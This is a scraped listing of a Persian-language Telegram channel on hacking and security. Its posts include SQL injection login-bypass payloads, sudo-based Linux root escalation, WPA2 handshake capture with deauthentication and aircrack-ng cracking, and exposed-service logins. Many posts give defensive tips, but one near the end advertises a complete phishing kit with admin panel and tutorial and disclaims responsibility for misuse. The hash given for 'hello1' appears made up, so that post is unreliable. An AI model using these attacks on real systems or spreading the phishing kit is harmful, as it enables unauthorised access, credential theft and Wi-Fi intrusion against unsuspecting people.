SPIRE X
Ir al canal en Telegram
🛡️ Nullactive | Spire Team 💻 Cyber Security • Ethical Hacking 🐧 Linux | Networking | Web Security 🧠 آموزش، ابزار و تحلیل فنی 🔬 تمرین در محیطهای آزمایشگاهی مجاز ⚡ Learn • Practice • Secure
Mostrar másEl país no está especificadoLa categoría no está especificada
4 288
Suscriptores
-12324 horas
-5237 días
-2 63130 días
Archivo de publicaciones
\n\n۲. Stored XSS\nکد تو دیتابیس ذخیره میشه و هر کسی صفحه رو باز کنه، اجرا میشه.\nمثال: کامنت تو یه وبلاگ.\nهر بازدیدکننده، کد رو اجرا میکنه.\n\n۳. DOM-based XSS\nکد تو جاوااسکریپت خود سایت پردازش میشه.\nبدون درخواست به سرور.\n\nچرا خطرناکه؟\n\nچون با یه XSS میتونی:\nکوکی کاربر رو بدزدی\nسشنش رو بربایی\nفرم لاگین جعلی نشون بدی\nکل صفحه رو تغییر بدی\nکیلاگر نصب کنی\n\nمثال سرقت کوکی:\n\n\n\nاین یه درخواست به سرور هکر میفرسته با کوکی قربانی.\n\nدفاع:\n\nهمیشه ورودی کاربر رو Encode کن.\nاز Content-Security-Policy استفاده کن.\nکوکیها رو HttpOnly کن.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-21T20:36:33Z","dateModified":"2026-09-21T20:36:33Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":972},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":6}]}},{"@type":"ListItem","position":9,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channel/3qHAvX/posts/672","url":"https://telemetr.io/es/channel/3qHAvX/posts/672","mainEntityOfPage":"https://telemetr.io/es/channel/3qHAvX/posts/672","headline":"حمله به فرم لاگین، چرا پسورد مهم نیست اکثر هکرهای مبتدی فکر میکنن باید پسورد رو کرک کنن. ولی حرفهایها سراغ…","articleBody":"حمله به فرم لاگین، چرا پسورد مهم نیست\n\nاکثر هکرهای مبتدی فکر میکنن باید پسورد رو کرک کنن.\nولی حرفهایها سراغ خود فرم نمیرن.\n\nمثال:\n\nیه فرم لاگین ساده:\nusername: admin\npassword: any\n\nچک کن اگه فقط یوزرنیم رو بذاری چی میشه.\nبعضی فرمها فقط یوزرنیم چک میکنن.\n\nیا:\nusername: admin'--\npassword: any\n\nاگه دیتابیس MySQL باشه، این کوئری اجرا میشه:\nSELECT * FROM users WHERE username='admin'--' AND password='any'\n\nتو کامنت --، بقیه کوئری نادیده گرفته میشه.\nپسورد اصلاً چک نمیشه.\n\nیا:\nusername: admin\npassword: ' OR '1'='1\n\nکوئری میشه:\nSELECT * FROM users WHERE username='admin' AND password='' OR '1'='1'\n\nچون 1=1 همیشه درسته، همه رکوردها برمیگردن.\nوارد میشی.\n\nیا:\nusername: admin\npassword: ' OR 1=1 LIMIT 1--\n\nحالا فقط اولین کاربر برمیگرده.\n\nنکته:\nهمه اینا به شرطیه که سایت از Prepared Statement استفاده نکنه.\nاگه استفاده کنه، هیچکدوم کار نمیکنه.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-21T20:36:27Z","dateModified":"2026-09-21T20:36:27Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":904},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":6}]}},{"@type":"ListItem","position":10,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channel/3qHAvX/posts/671","url":"https://telemetr.io/es/channel/3qHAvX/posts/671","mainEntityOfPage":"https://telemetr.io/es/channel/3qHAvX/posts/671","headline":"بالا رفتن سطح دسترسی در لینوکس، مرحله به مرحله فرض کن یه شل معمولی گرفتی. user عادی هستی. حالا باید root بشی.…","articleBody":"بالا رفتن سطح دسترسی در لینوکس، مرحله به مرحله\n\nفرض کن یه شل معمولی گرفتی. user عادی هستی.\nحالا باید root بشی.\n\nاولین چک:\n\nsudo -l\n\nاین دستور میگه چه دستوراتی رو میتونی با sudo اجرا کنی.\nبعضی وقتا یه دستور ساده مثل find یا vim اینجاست که میتونی ازش سوءاستفاده کنی.\n\nمثال:\n\nاگه sudo -l نشون داد:\n(ALL) NOPASSWD: /usr/bin/find\n\nمیتونی این رو بزنی:\nsudo find . -exec /bin/sh \\; -quit\n\nحالا root هستی.\n\nچک دوم: فایلهای SUID\n\nfind / -perm -4000 -type f 2>/dev/null\n\nاین فایلها با دسترسی root اجرا میشن.\nبعضیاشون آسیبپذیرن.\n\nچک سوم: کرونجابها\n\ncat /etc/crontab\nls -la /etc/cron.*\n\nاگه یه اسکریپت با دسترسی root اجرا میشه و تو میتونی نوشتش کنی،\nفقط یه خط بهش اضافه کن که یه شل بهت بده.\n\nچک چهارم: فایلهای قابل نوشتن\n\nfind / -writable -type f 2>/dev/null | grep -v proc\n\nاگه تونستی یه فایل مهم رو ویرایش کنی، راه برای root شدن بازه.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-21T20:36:21Z","dateModified":"2026-09-21T20:36:21Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":996},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}},{"@type":"ListItem","position":11,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channel/3qHAvX/posts/670","url":"https://telemetr.io/es/channel/3qHAvX/posts/670","mainEntityOfPage":"https://telemetr.io/es/channel/3qHAvX/posts/670","headline":"حمله به وایفای، همون چیزی که تو فیلمها میبینی همه فکر میکنن هک وایفای یعنی کرک کردن پسورد. ولی داستان چی…","articleBody":"حمله به وایفای، همون چیزی که تو فیلمها میبینی\n\nهمه فکر میکنن هک وایفای یعنی کرک کردن پسورد.\nولی داستان چیز دیگهایه.\n\nوایفای با WPA2 رمزنگاری میشه.\nپسورد رو نمیتونی مستقیم بخونی.\nولی میتونی Handshake رو بگیری.\n\nHandshake چیه؟\n\nوقتی یه دستگاه به وایفای وصل میشه، یه تبادل رمزنگاری شده انجام میشه.\nاین تبادل، شامل پسورد هش شدهست.\n\nمراحل:\n\n۱. بری تو حالت مانیتور\nairmon-ng start wlan0\n\n۲. شبکهها رو ببینی\nairodump-ng wlan0mon\n\n۳. هندشیک بگیری\nairodump-ng -c 6 --bssid MAC -w capture wlan0mon\n\n۴. با Deauth، دستگاه رو قطع کنی تا دوباره وصل شه\naireplay-ng -0 5 -a MAC wlan0mon\n\n۵. حالا یه فایل capture داری که هندشیک توشه.\n\n۶. با wordlist کرکش کنی\naircrack-ng -w rockyou.txt capture-01.cap\n\nنکته:\nاگه پسورد قوی باشه، این روش هیچوقت جواب نمیده.\nپسورد ۱۲ کاراکتری رندوم، میلیونها سال طول میکشه.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-21T20:36:15Z","dateModified":"2026-09-21T20:36:15Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":842},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":5}]}},{"@type":"ListItem","position":12,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channel/3qHAvX/posts/669","url":"https://telemetr.io/es/channel/3qHAvX/posts/669","mainEntityOfPage":"https://telemetr.io/es/channel/3qHAvX/posts/669","headline":"تفاوت رمزنگاری و هش کردن، یه بار برای همیشه اکثر مردم این دوتا رو قاطی میکنن. ولی فرقشون مثل فرق قفل و چرخگ…","articleBody":"تفاوت رمزنگاری و هش کردن، یه بار برای همیشه\n\nاکثر مردم این دوتا رو قاطی میکنن.\nولی فرقشون مثل فرق قفل و چرخگوشته.\n\nرمزنگاری:\nورودی رو میگیری، با کلید قفلش میکنی.\nبا همون کلید بازش میکنی.\nبرگشتپذیره.\n\nهش:\nورودی رو میگیری، یه خروجی ثابت میگیری.\nهیچ کلیدی نیست.\nبرگشتناپذیره.\n\nپس کِی از کدوم استفاده کنیم؟\n\nرمزنگاری: برای دادهای که بعداً باید بخونیم.\nمثل فایل، پیام، دیتابیس.\n\nهش: برای دادهای که فقط باید چک کنیم.\nمثل پسورد، امضای دیجیتال، بلاکچین.\n\nچرا پسورد رو هش میکنن نه رمزنگاری؟\n\nچون اگه رمزنگاری کنن، کلید کجاست؟\nاگه کلید لو بره، همه پسوردها لو میره.\n\nولی هش، حتی اگه دیتابیس لو بره، پسورد مستقیم لو نمیره.\nمگر اینکه پسورد ضعیف باشه و کرک بشه.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-21T20:36:10Z","dateModified":"2026-09-21T20:36:10Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1816},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":3}]}},{"@type":"ListItem","position":13,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channel/3qHAvX/posts/668","url":"https://telemetr.io/es/channel/3qHAvX/posts/668","mainEntityOfPage":"https://telemetr.io/es/channel/3qHAvX/posts/668","headline":"OSINT چیه و چرا اولین قدم هر عملیاته قبل از اینکه به چیزی حمله کنی، باید بدونی طرف چیه. OSINT یعنی جمعآوری ا…","articleBody":"OSINT چیه و چرا اولین قدم هر عملیاته\n\nقبل از اینکه به چیزی حمله کنی، باید بدونی طرف چیه.\nOSINT یعنی جمعآوری اطلاعات از منابع عمومی.\n\nسه تا منبع طلایی:\n\n۱. whois\nwhois example.com\n\nاسم صاحب دامنه، ایمیل، شماره تلفن، تاریخ ثبت.\nاگه حریم خصوصی فعال نباشه، همه چی لو میره.\n\n۲. crt.sh\nبرو به crt.sh و دامنه رو سرچ کن.\nهمه زیردامنههای ثبتشده رو نشون میده.\nاین یه معدن طلاست برای پیدا کردن پنلهای مخفی.\n\n۳. Shodan\nموتور جستجوی دستگاههاست، نه سایتها.\nمیتونی سرچ کنی: org:\"Target Company\"\nهمه سرورهای اون شرکت با پورتهای بازشون.\n\nنکته:\nهیچوقت با اکانت شخصیت این کارها رو نکن.\nیه VM جدا، یه VPN، یه مرورگر جدا.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-21T20:36:03Z","dateModified":"2026-09-21T20:36:03Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1991},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":3},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":6}]}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channel/3qHAvX/posts/667","url":"https://telemetr.io/es/channel/3qHAvX/posts/667","mainEntityOfPage":"https://telemetr.io/es/channel/3qHAvX/posts/667","headline":"هدرهای امنیتی که هر سایتی باید داشته باشه وقتی یه سایت باز میکنی، سرور یه سری هدر میفرسته که مرورگرت رفتارش…","articleBody":"هدرهای امنیتی که هر سایتی باید داشته باشه\n\nوقتی یه سایت باز میکنی، سرور یه سری هدر میفرسته که مرورگرت رفتارش رو تنظیم کنه.\n\nچک کردنشون خیلی راحته:\n\ncurl -I https://example.com\n\nخروجی رو نگاه کن، اینا باید باشن:\n\nX-Frame-Options: DENY\nیعنی سایت تو iframe باز نشه. جلوی Clickjacking رو میگیره.\n\nX-Content-Type-Options: nosniff\nیعنی مرورگر نوع فایل رو حدس نزنه.\n\nStrict-Transport-Security: max-age=31536000\nیعنی مرورگر همیشه از HTTPS استفاده کنه.\n\nContent-Security-Policy: default-src 'self'\nیعنی فقط اسکریپتهای خود سایت اجرا بشن.\n\nاگه اینا نبودن چی؟\n\nسایت آسیبپذیره. میتونه هدف XSS، Clickjacking، یا MITM باشه.\n\nابزار سریع برای چک:\n\ncurl -s -D - https://example.com -o /dev/null | grep -i \"x-frame\\|strict\\|content-security\"\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-21T20:35:09Z","dateModified":"2026-09-21T20:35:09Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":2063},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":3},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":3}]}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channel/3qHAvX/posts/666","url":"https://telemetr.io/es/channel/3qHAvX/posts/666","mainEntityOfPage":"https://telemetr.io/es/channel/3qHAvX/posts/666","headline":"مانیتور زنده اتصالات شبکه میخوای ببینی همین الان سیستمت به کجا وصله؟ watch -n1 \"netstat -tunap | grep ESTAB…","articleBody":"مانیتور زنده اتصالات شبکه\n\nمیخوای ببینی همین الان سیستمت به کجا وصله؟\n\nwatch -n1 \"netstat -tunap | grep ESTABLISHED\"\n\nچیکار میکنه؟\n\nهر ثانیه لیست اتصالات فعال رو نشون میده.\ngrep ESTABLISHED فقط اتصالات برقرار شده رو فیلتر میکنه.\n\nخروجی چطوریه؟\n\nیه لیست از IP و پورتها.\nستون آخر، اسم برنامهایه که اتصال رو باز کرده.\n\nچرا مهمه؟\n\nاگه یه برنامه مشکوک ببینی که به IP ناشناس وصله، یعنی یه جای کار میلنگه.\nممکنه یه بدافزار در حال ارسال داده باشه.\n\nنسخه بهروزتر با ss:\n\nwatch -n1 \"ss -tunap | grep ESTAB\"\n\nss جدیدتره، سریعتره، و روی سیستمهای مدرن بهتر کار میکنه.\n\nنکته امنیتی:\n\nاگه دیدی یه پروسهای مرتب به یه IP خارجی وصل میشه و نمیشناسیش،\nPID رو بردار و با ps برو ببین چیه.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-21T20:35:01Z","dateModified":"2026-09-21T20:35:01Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":2074},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2}]}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channel/3qHAvX/posts/665","url":"https://telemetr.io/es/channel/3qHAvX/posts/665","mainEntityOfPage":"https://telemetr.io/es/channel/3qHAvX/posts/665","headline":"پیدا کردن فایلهای حجیم روی سیستم وقتی هاردت پر میشه، معمولاً نمیدونی چی فضا رو خورده. find / -type f -size…","articleBody":"پیدا کردن فایلهای حجیم روی سیستم\n\nوقتی هاردت پر میشه، معمولاً نمیدونی چی فضا رو خورده.\n\nfind / -type f -size +100M 2>/dev/null\n\nاین خط میره کل سیستم رو میگرده، هر فایلی بالای ۱۰۰ مگ رو نشون میده.\n\nچرا 2>/dev/null؟\n\nچون find خیلی جاها دسترسی نداره و ارور میده.\nاین بخش، ارورها رو میفرسته به سیاهچال.\n\nنسخه حرفهایتر:\n\nfind / -type f -size +100M -exec ls -lh {} \\; 2>/dev/null | awk '{ print $5, $9 }'\n\nحالا حجم و مسیر فایل رو کنار هم میبینی.\n\nکاربرد دیگه:\n\nتوی تست نفوذ، گاهی دنبال فایلهای بکاپ میگردی.\nهمین دستور رو با ۱۰M اجرا کن، شاید یه backup.sql گیرت بیاد.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-21T20:34:56Z","dateModified":"2026-09-21T20:34:56Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1789},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2}]}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channel/3qHAvX/posts/664","url":"https://telemetr.io/es/channel/3qHAvX/posts/664","mainEntityOfPage":"https://telemetr.io/es/channel/3qHAvX/posts/664","headline":"ساخت پسورد رندوم قوی با یه دستور به جای اینکه خودت پسورد بسازی و فکر کنی قویه، بذار سیستم بسازه. openssl rand…","articleBody":"ساخت پسورد رندوم قوی با یه دستور\n\nبه جای اینکه خودت پسورد بسازی و فکر کنی قویه، بذار سیستم بسازه.\n\nopenssl rand -base64 16\n\nخروجی مثلاً:\nKj8sL2mPqR5vX9wN\n\n۲۲ کاراکتر، کاملاً رندوم، غیرقابل حدس.\n\nچرا از openssl؟\n\nچون از منبع رندوم سیستم عامل استفاده میکنه، نه یه الگوریتم ساده.\nپس پیشبینیپذیر نیست.\n\nاگه میخوای حتی قویتر باشه:\n\nopenssl rand -base64 32\n\n۴۴ کاراکتر. برای کلیدهای رمزنگاری یا API Key عالیه.\n\nنکته:\n\nهیچوقت از پسوردهای تولیدی برای همه سایتها استفاده نکن.\nبرای هر سرویس، یه پسورد جدا بساز.\n\nو اگه میخوای مدیریتش کنی، از یه Password Manager استفاده کن.\nنه از فایل تکست یا دفترچه.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-21T20:34:50Z","dateModified":"2026-09-21T20:34:50Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":2070},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channel/3qHAvX/posts/663","url":"https://telemetr.io/es/channel/3qHAvX/posts/663","mainEntityOfPage":"https://telemetr.io/es/channel/3qHAvX/posts/663","headline":"مخفی کردن متن داخل عکس این تکنیک اسمش Steganography هست. یعنی اطلاعات رو جایی پنهان کنی که کسی شک نکنه. ساده…","articleBody":"مخفی کردن متن داخل عکس\n\nاین تکنیک اسمش Steganography هست.\nیعنی اطلاعات رو جایی پنهان کنی که کسی شک نکنه.\n\nسادهترین روش: چسبوندن به آخر فایل عکس.\n\ncat secret.txt >> image.jpg\n\nحالا عکس رو باز کن. کاملاً سالمه، هیچ تغییری نمیبینی.\nولی متن داخلشه.\n\nبرای استخراج:\n\nstrings image.jpg | tail\n\nمیبینی که متن آخرشه.\n\nچرا کاربردی؟\n\nوقتی میخوای یه فایل رو بفرستی بدون اینکه کسی بفهمه.\nیا وقتی میخوای داخل یه شبکه، داده قايم کنی.\n\nنکته مهم:\n\nاین روش خیلی سادهست و با یه نگاه به حجم فایل لو میره.\nاگه فایل عکس ۵۰ کیلوبایتی، ۲۰۰ کیلوبایت بشه، هر کسی شک میکنه.\n\nروشهای حرفهایتر، بیتهای آخر پیکسلها رو تغییر میدن.\nچشم انسان نمیبینه، ولی فایل سالم میمونه.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-21T20:34:40Z","dateModified":"2026-09-21T20:34:40Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1763},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":5}]}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channel/3qHAvX/posts/662","url":"https://telemetr.io/es/channel/3qHAvX/posts/662","mainEntityOfPage":"https://telemetr.io/es/channel/3qHAvX/posts/662","headline":"هش کردن متن، چرا برگشتناپذیره هش یه تابع ریاضیه که ورودی رو میگیره، خروجی ثابت میده. echo -n \"hello\" | sha2…","articleBody":"هش کردن متن، چرا برگشتناپذیره\n\nهش یه تابع ریاضیه که ورودی رو میگیره، خروجی ثابت میده.\n\necho -n \"hello\" | sha256sum\n\nخروجی:\n2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824\n\nحالا بذار \"hello1\" رو هش کن:\n\necho -n \"hello1\" | sha256sum\n\nخروجی:\nce06092c04b6e91d7d7dc82c05e1a6e3e5a4f3a4c4f9e9f4b6c6b1a2c8d8e8f9\n\nببین چقدر فرق کرد؟ فقط با یه کاراکتر اضافه.\n\nچرا برگشتناپذیره؟\n\nچون هش اطلاعات رو فشرده میکنه، بخشی از داده گم میشه.\nاز خروجی نمیتونی ورودی رو بازسازی کنی.\n\nولی یه راه هست: Brute Force\nهمه ترکیبها رو امتحان کنی تا یکی مطابقت کنه.\n\nبرای همینم پسوردها رو هش میکنن. حتی اگه دیتابیس لو بره، پسورد مستقیم لو نمیره.\n\nالبته اگه پسوردت ضعیف باشه، تو چند دقیقه کرک میشه.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-21T20:34:35Z","dateModified":"2026-09-21T20:34:35Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":2057},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2}]}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channel/3qHAvX/posts/661","url":"https://telemetr.io/es/channel/3qHAvX/posts/661","mainEntityOfPage":"https://telemetr.io/es/channel/3qHAvX/posts/661","headline":"چک کردن قدرت پسورد با پایتون یه اسکریپت کوتاه که بهت میگه پسوردت چقدر قویه. p = input(\"Password: \") score =…","articleBody":"چک کردن قدرت پسورد با پایتون\n\nیه اسکریپت کوتاه که بهت میگه پسوردت چقدر قویه.\n\np = input(\"Password: \")\n\nscore = 0\nif len(p) >= 12: score += 1\nif any(c.isdigit() for c in p): score += 1\nif any(c.isupper() for c in p): score += 1\nif any(c.islower() for c in p): score += 1\nif any(c in \"!@#$%^&*\" for c in p): score += 1\n\nif score == 5:\n print(\"Strong\")\nelif score >= 3:\n print(\"Medium\")\nelse:\n print(\"Weak\")\n\nاین چیکار میکنه؟\n\nپنج معیار رو چک میکنه: طول، عدد، حرف بزرگ، حرف کوچیک، علامت.\nهر کدوم رعایت شده، یه امتیاز میگیره.\n\nچرا مهمه؟\n\nچون اکثر مردم فکر میکنن پسوردشون قویه.\nولی وقتی معیارها رو ببینی، میفهمی فقط یه لایه داری.\n\nمیتونی توسعهش بدی:\nچک کن توی لیست پسوردهای رایج هست یا نه.\nچک کن توی دیتابیسهای لو رفته پیداش میشه یا نه.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-21T20:34:30Z","dateModified":"2026-09-21T20:34:30Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/es/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":2052},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":3},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}}]}
















4 288
پورتهایی که هر هکری باید حفظ باشه
یه سری پورت هست که دیدنشون یعنی یه جای کار میلنگه.
۲۱ FTP
اگه باز باشه و Anonymous Login فعال باشه، یعنی فاجعه.
ftp target.com
یوزر: anonymous
پسورد: خالی
۲۲ SSH
هدف شماره یک Brute Force.
اگه پسورد ضعیف باشه، تو چند دقیقه کرک میشه.
۲۳ Telnet
کاملاً ناامن. همه چی Plain Text.
حتی پسورد هم رمزنگاری نشده.
جایگزینش: SSH
۲۵ SMTP
اگه Open Relay باشه، میتونی با اون ایمیل اسپم بفرستی.
یعنی سرور تو رو به عنوان پل استفاده میکنه.
۴۴۵ SMB
هدف EternalBlue و WannaCry.
اگه ویندوز قدیمی و پچ نشده باشه، فاجعه.
۳۳۰۶ MySQL
اگه از بیرون باز باشه و پسورد root خالی باشه:
mysql -h target.com -u root
مستقیم میری تو دیتابیس.
۳۳۸۹ RDP
هدف BlueKeep.
اگه ویندوز XP یا 7 باشه، اکسپلویت آمادهست.
۵۹۰۰ VNC
معمولاً پسورد کوتاه یا بدون پسورد.
مستقیم کنترل دسکتاپ.
نکته:
nmap -sV -p 21,22,23,25,445,3306,3389,5900 target.com
#ℳℴ𝒷𝒾𝓃
4 288
فایل کامل شامل نمونه کد فیشینگ وب، پنل مدیریتی و آموزش گامبهگام که همه درون یک فایل واحد قرار دارند.
توجه داشته باشید که مسئولیت هرگونه سوءاستفاده یا استفاده غیرمجاز از این محتوا بر عهده کاربر است و ما هیچ مسئولیتی در قبال اقدامات شما نمیپذیریم.
4 288
دیتابیس عظیم و بسیار قدرتمندی که شامل مجموعهای کامل از ۱۰۰ هزار User-Agent سالم، معتبر و بهروز است.
